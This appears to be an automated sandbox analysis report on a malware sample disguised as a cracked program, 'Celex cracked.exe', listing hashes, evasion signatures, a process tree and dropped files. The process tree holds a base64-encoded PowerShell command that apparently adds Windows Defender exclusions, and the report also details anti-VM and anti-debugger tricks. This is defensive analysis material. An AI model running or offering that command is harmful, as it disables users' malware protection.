Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-10-2024 19:14

General

  • Target

    Celex cracked.exe

  • Size

    15.9MB

  • MD5

    6b7e153aef00b59662756d085c82e757

  • SHA1

    ba42614c6377a35ae6037e52f726da1e488c3880

  • SHA256

    f9db7373af72d963cf924019ff3716eb96b8d6d95062a563820d45a6b64e6a94

  • SHA512

    bc786c71fcb0ba2d7e5d6b0a2345af3fdfce1bbb7f000c4c6a8e62f40935c20f68ae7cf6337c8921a76b2c3595fac4c5d30ebc639231239f54895f5e4c867b51

  • SSDEEP

    393216:PBM8GtN0UyJ25TWm09KGzYiLijWEjveWgCVLyPbmvg:PmNU2KEjWEX/Oiv

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Themida packer 9 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYQBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAeQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAdABoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcQB4ACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2052
    • C:\Users\Admin\AppData\Local\Temp\Cracked.exe
      "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Users\Admin\AppData\Local\Temp\Cracked.exe
        "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2636
    • C:\Users\Admin\AppData\Local\Temp\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\loader.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\system32\certutil.exe
          certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5
          4⤵
            PID:572
          • C:\Windows\system32\find.exe
            find /i /v "md5"
            4⤵
              PID:1956
            • C:\Windows\system32\find.exe
              find /i /v "certutil"
              4⤵
                PID:1792

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-file-l1-2-0.dll

          Filesize

          21KB

          MD5

          1c58526d681efe507deb8f1935c75487

          SHA1

          0e6d328faf3563f2aae029bc5f2272fb7a742672

          SHA256

          ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2

          SHA512

          8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-file-l2-1-0.dll

          Filesize

          18KB

          MD5

          bfffa7117fd9b1622c66d949bac3f1d7

          SHA1

          402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2

          SHA256

          1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e

          SHA512

          b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-localization-l1-2-0.dll

          Filesize

          21KB

          MD5

          724223109e49cb01d61d63a8be926b8f

          SHA1

          072a4d01e01dbbab7281d9bd3add76f9a3c8b23b

          SHA256

          4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210

          SHA512

          19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-timezone-l1-1-0.dll

          Filesize

          21KB

          MD5

          d12403ee11359259ba2b0706e5e5111c

          SHA1

          03cc7827a30fd1dee38665c0cc993b4b533ac138

          SHA256

          f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781

          SHA512

          9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\python311.dll

          Filesize

          1.6MB

          MD5

          db09c9bbec6134db1766d369c339a0a1

          SHA1

          c156d9f2d0e80b4cf41794cd9b8b1e8a352e0a0b

          SHA256

          b1aac1e461174bbae952434e4dac092590d72b9832a04457c94bd9bb7ee8ad79

          SHA512

          653a7fff6a2b6bffb9ea2c0b72ddb83c9c53d555e798eea47101b0d932358180a01af2b9dab9c27723057439c1eaffb8d84b9b41f6f9cd1c3c934f1794104d45

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\ucrtbase.dll

          Filesize

          992KB

          MD5

          0e0bac3d1dcc1833eae4e3e4cf83c4ef

          SHA1

          4189f4459c54e69c6d3155a82524bda7549a75a6

          SHA256

          8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

          SHA512

          a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

        • C:\Users\Admin\AppData\Local\Temp\loader.exe

          Filesize

          4.1MB

          MD5

          9ecdc9ed1bea6c226f92d740d43400b9

          SHA1

          b5b5066cd4284733d8c3f3d7de3ca6653091ae10

          SHA256

          60c57f14c2e0e0df0bda16646b21dddceaee0159dafbbb8daba310d4e1b5be6c

          SHA512

          30bc705a2438288e3647d5adfc6119d751823970972b9c6b39a60384a2b7ac261986026b8d1c0b0ca7ee3d7e95363c97b873fdc5fad4096c903cb4e15bf57e43

        • \Users\Admin\AppData\Local\Temp\Cracked.exe

          Filesize

          11.9MB

          MD5

          7b796de0cc48c748487fa96f88dd8183

          SHA1

          98e00ce046622f76d5b6eef609b6204f27bb1fca

          SHA256

          93371abea7c739d4e7933278a8e2f620df2a124b4d8255dfb7de82bbc2c2453c

          SHA512

          bad79165cc1fe6381e05df3ee3bcb3742392427be00d1df96635b7dba6af81706ac686e3cc2c1af25ecccafddfc8db1bd679159b0b9e90dffa32bbed9d1b2d8e

        • \Users\Admin\AppData\Local\Temp\_MEI21002\api-ms-win-core-processthreads-l1-1-1.dll

          Filesize

          21KB

          MD5

          517eb9e2cb671ae49f99173d7f7ce43f

          SHA1

          4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab

          SHA256

          57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54

          SHA512

          492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be

        • memory/2276-102-0x0000000004EE0000-0x000000000597F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-119-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-103-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-120-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-121-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-123-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-122-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-124-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2600-136-0x000000013F380000-0x000000013FE1F000-memory.dmp

          Filesize

          10.6MB

        • memory/2636-117-0x000007FEF5EC0000-0x000007FEF64A8000-memory.dmp

          Filesize

          5.9MB